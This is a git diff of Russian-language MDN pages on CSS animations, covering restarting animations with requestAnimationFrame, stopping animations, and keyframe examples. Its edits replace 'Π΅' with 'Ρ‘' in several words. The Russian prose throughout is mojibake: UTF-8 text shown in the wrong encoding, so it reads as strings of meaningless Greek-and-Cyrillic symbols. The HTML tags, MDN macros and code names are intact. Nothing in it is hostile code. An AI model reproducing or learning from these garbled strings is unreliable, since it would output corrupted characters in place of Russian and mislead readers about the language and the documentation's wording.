+ <li>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ стили пСрСсчитаны, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ  {{domxref("window.requestAnimationFrame()")}} с колбэком. Наш колбэк выполняСтся нСпосрСдствСнно ΠΏΠ΅Ρ€Π΅Π΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ пСрСрисовкой Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ,Ρ‡Ρ‚ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это происходит Π΄ΠΎ пСрСрисовки, пСрСрасчёт стиля Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΡ‘Π»!Β </li>
+ <li>Наш колбэк Π»ΠΎΠ²ΠΊΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ <code>requestAnimationFrame()</code>Β Π²Ρ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π·! На этот Ρ€Π°Π· колбэк выполняСтся Π΄ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ пСрСрисовки, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π° пСрСрасчёт стиля. Π­Ρ‚ΠΎΡ‚ колбэк добавляСт класс <code>"changing"</code> ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² элСмСнт, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ пСрСрисовка снова запустит Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ.</li>
</ol>
<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π½Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий ΠΊ нашСй ΠΊΠ½ΠΎΠΏΠΊΠ΅ "Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ", Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½Π° Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΄Π΅Π»Π°Π»Π°:</p>
@@ -94,7 +94,7 @@ translation_of: Web/CSS/CSS_Animations/Tips
<h2 id="ΠžΡΡ‚Π°Π½ΠΎΠ²ΠΊΠ°_Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ">ΠžΡΡ‚Π°Π½ΠΎΠ²ΠΊΠ° Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</h2>
-<p>ΠŸΡ€ΠΎΡΡ‚ΠΎΠ΅ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅Β {{cssxref("animation-name")}} ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊ элСмСнту, заставит Π΅Π³ΠΎ ΠΈΡΡ‡Π΅Π·Π½ΡƒΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ состояниС. Если вмСсто этого Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ анимация Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»Π°ΡΡŒ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΠ»Π°ΡΡŒ, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄. Π“Π»Π°Π²Π½Ρ‹Π΅ хитрости Π·Π°ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ:</p>
+<p>ΠŸΡ€ΠΎΡΡ‚ΠΎΠ΅ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅Β {{cssxref("animation-name")}} ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊ элСмСнту, заставит Π΅Π³ΠΎ ΠΈΡΡ‡Π΅Π·Π½ΡƒΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ состояниС. Если вмСсто этого Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ анимация Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»Π°ΡΡŒ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΠ»Π°ΡΡŒ, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄. Π“Π»Π°Π²Π½Ρ‹Π΅ хитрости Π·Π°ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ:</p>
<ol>
<li>Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ свою Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ самодостаточной, насколько это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° <code>animation-direction: alternate</code>. ВмСсто этого Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ явно Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π°, которая ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Ρ‡Π΅Ρ€Π΅Π· ΠΏΠΎΠ»Π½ΡƒΡŽ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π² ΠΎΠ΄Π½ΠΎΠΌ прямом ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠΈ.</li>
diff --git a/files/ru/web/css/css_animations/using_css_animations/index.html b/files/ru/web/css/css_animations/using_css_animations/index.html
index 2f25d7922e..14ccbe0a77 100644
--- a/files/ru/web/css/css_animations/using_css_animations/index.html
+++ b/files/ru/web/css/css_animations/using_css_animations/index.html
@@ -41,7 +41,7 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy
<dt>{{ cssxref("animation-iteration-count") }}</dt>
<dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ количСство ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠΉΒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ; Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>infinite</code> для бСсконСчного повторСния Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</dd>
<dt>{{ cssxref("animation-direction") }}</dt>
- <dd>Π”Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ΄Ρ‚ΠΈ ΠΏΠΎ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠΌΡƒ ΠΏΡƒΡ‚ΠΈ, Π»ΠΈΠ±ΠΎ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ всС значСния ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ.</dd>
+ <dd>Π”Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ΄Ρ‚ΠΈ ΠΏΠΎ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠΌΡƒ ΠΏΡƒΡ‚ΠΈ, Π»ΠΈΠ±ΠΎ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ всС значСния ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ.</dd>
<dt>{{ cssxref("animation-fill-mode") }}</dt>
<dd>НастраиваСт значСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠ΅ΠΉ, Π΄ΠΎ ΠΈ послС исполнСния.</dd>
<dt>{{ cssxref("animation-play-state") }}</dt>
@@ -52,13 +52,13 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy
<p><span id="result_box" lang="ru"><span class="hps">ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ</span> <span class="hps">Π²Ρ‹ настроили</span> <span class="hps">Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ свойства (ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ускорСниС)</span> <span class="hps">Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span><span>, Π²Ρ‹</span> <span class="hps">Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ</span> <span class="hps">внСшний Π²ΠΈΠ΄</span> <span class="hps">Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span></span>. Π­Ρ‚ΠΎ дСлаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π΄Π²ΡƒΡ… ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… ΠΊΠ°Π΄Ρ€ΠΎΠ² послС {{ cssxref("@keyframes") }}. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠ°Π΄Ρ€ описываСт, ΠΊΠ°ΠΊΒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнт Π² Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚.</p>
-<p>Π’ Ρ‚ΠΎ врСмя, ΠΊΠ°ΠΊ врСмСнныС характСристики (ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ) ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π² стилях для Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ³ΠΎ элСмСнта, ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ ΠΊΠ°Π΄Ρ€Ρ‹Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ {{ cssxref("percentage") }}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΡΡ‚Π°Π΄ΠΈΡŽ протСкания Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. 0% ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΠΎ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Π° 100% Π΅Π΅ ΠΊΠΎΠ½Π΅Ρ†. Π’Π°ΠΊ ΠΊΠ°ΠΊ эти значСния ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½Ρ‹, Ρ‚ΠΎ для Π½ΠΈΡ… ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Π»ΠΈ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ слова: <code>from</code> ΠΈ <code>to</code>.</p>
+<p>Π’ Ρ‚ΠΎ врСмя, ΠΊΠ°ΠΊ врСмСнныС характСристики (ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ) ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π² стилях для Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ³ΠΎ элСмСнта, ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ ΠΊΠ°Π΄Ρ€Ρ‹Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ {{ cssxref("percentage") }}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΡΡ‚Π°Π΄ΠΈΡŽ протСкания Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. 0% ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΠΎ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Π° 100% Π΅Ρ‘ ΠΊΠΎΠ½Π΅Ρ†. Π’Π°ΠΊ ΠΊΠ°ΠΊ эти значСния ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½Ρ‹, Ρ‚ΠΎ для Π½ΠΈΡ… ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Π»ΠΈ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ слова: <code>from</code> ΠΈ <code>to</code>.</p>
<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅Β ΠΊΠ°Π΄Ρ€Ρ‹, Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€ΠΈΠ·ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½ΠΎΠ΅ состояниС Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<div class="note"><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong> ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π½ΠΈΠΆΠ΅ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ прСфиксов для CSS стилСй . Webkit-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈ старыС вСрсии Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² ΡƒΠΊΠ°Π·Π°Π½ΠΈΠΈ прСфиксов Π² CSS стилях.Β ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‚Π°ΠΊΠΆΠ΅ содСрТат прСфиксы -webkit-.</div>
+<div class="note"><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong> ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π½ΠΈΠΆΠ΅ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ прСфиксов для CSS стилСй . Webkit-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈ старыС вСрсии Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² ΡƒΠΊΠ°Π·Π°Π½ΠΈΠΈ прСфиксов Π² CSS стилях.Β ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‚Π°ΠΊΠΆΠ΅ содСрТат прСфиксы -webkit-.</div>
<h3 id="БкольТСниС_тСкста">БкольТСниС тСкста</h3>
@@ -88,7 +88,7 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy
<p>Π’ элСмСнт {{ HTMLElement("p") }} ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ стили, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠ°ΠΊ-Ρ‚ΠΎ ΡƒΠΊΡ€Π°ΡΠΈΡ‚ΡŒ Π΅Π³ΠΎ, ΠΎΠ΄Π½Π°ΠΊΠΎ здСсь ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ эффСкт Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
-<p>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅Β ΠΊΠ°Π΄Ρ€Ρ‹Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΡ€Π°Π²ΠΈΠ»Π° {{ cssxref("@keyframes") }}. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π²Π° ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… ΠΊΠ°Π΄Ρ€Π°. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΡ€ΠΈ 0% Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ (<code>from</code>). Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΏΡ€ΠΈΠ΄Π°Π΅ΠΌ элСмСнту Π»Π΅Π²Ρ‹ΠΉ отступ Π² 100% ΠΈ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π² 300% (Π² Ρ‚Ρ€ΠΈ Ρ€Π°Π·Π° большС ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта). Π­Ρ‚ΠΎ становится ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ {{ HTMLElement("p") }} находится Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ края ΠΎΠΊΠ½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° .</p>
+<p>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅Β ΠΊΠ°Π΄Ρ€Ρ‹Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΡ€Π°Π²ΠΈΠ»Π° {{ cssxref("@keyframes") }}. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π²Π° ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… ΠΊΠ°Π΄Ρ€Π°. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΡ€ΠΈ 0% Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ (<code>from</code>). Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΏΡ€ΠΈΠ΄Π°Ρ‘ΠΌ элСмСнту Π»Π΅Π²Ρ‹ΠΉ отступ Π² 100% ΠΈ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π² 300% (Π² Ρ‚Ρ€ΠΈ Ρ€Π°Π·Π° большС ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта). Π­Ρ‚ΠΎ становится ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ {{ HTMLElement("p") }} находится Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ края ΠΎΠΊΠ½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° .</p>
<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠΉ ΠΊΠ°Π΄Ρ€Β (to) опрСдСляСт ΠΊΠΎΠ½Π΅Ρ† Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Ρ‚.Π΅ (100%). Π›Π΅Π²Ρ‹ΠΉ отступ устанавливаСтся Ρ€Π°Π²Π½Ρ‹ΠΌ 0, Π° ΡˆΠΈΡ€ΠΈΠ½Π° 100%. ВсС выглядит Ρ‚Π°ΠΊ, Π±ΡƒΠ΄Ρ‚ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{ HTMLElement("p") }} ΠΏΡ€ΠΈΠΏΠ»Ρ‹Π²Π°Π΅Ρ‚ ΠΊ Π»Π΅Π²ΠΎΠΌΡƒ ΠΊΡ€Π°ΡŽ ΠΎΠΊΠ½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
@@ -97,7 +97,7 @@ at last the Caterpillar took the hookah out of its mouth, and addressed
her in a languid, sleepy voice.&lt;/p&gt;
</pre>
-<p>(ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ страницу, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ, ΠΈΠ»ΠΈ Ρ‰Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ ΠΊΠ½ΠΎΠΏΠΊΠ΅ CodePen, Ρ‡Ρ‚ΠΎΠ±Ρ‹ воспроизвСсти Π΅Π΅ Π² ΠΎΠΊΠ½Π΅ CodePen)</p>
+<p>(ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ страницу, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ, ΠΈΠ»ΠΈ Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ ΠΊΠ½ΠΎΠΏΠΊΠ΅ CodePen, Ρ‡Ρ‚ΠΎΠ±Ρ‹ воспроизвСсти Π΅Ρ‘ Π² ΠΎΠΊΠ½Π΅ CodePen)</p>
<p>{{EmbedLiveSample("БкольТСниС_тСкста","100%","250")}}</p>
@@ -143,7 +143,7 @@ her in a languid, sleepy voice.&lt;/p&gt;
<p>Π­Ρ‚ΠΎ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ 75% выполнСния Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, ΡˆΡ€ΠΈΡ„Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ 300%, Π° ΡˆΠΈΡ€ΠΈΠ½Π° 150%.</p>
-<p>(ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ страницу, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ, ΠΈΠ»ΠΈ Ρ‰Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ ΠΊΠ½ΠΎΠΏΠΊΠ΅ CodePen, Ρ‡Ρ‚ΠΎΠ±Ρ‹ воспроизвСсти Π΅Π΅ Π² ΠΎΠΊΠ½Π΅ CodePen)</p>
+<p>(ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ страницу, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ, ΠΈΠ»ΠΈ Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ ΠΊΠ½ΠΎΠΏΠΊΠ΅ CodePen, Ρ‡Ρ‚ΠΎΠ±Ρ‹ воспроизвСсти Π΅Ρ‘ Π² ΠΎΠΊΠ½Π΅ CodePen)</p>
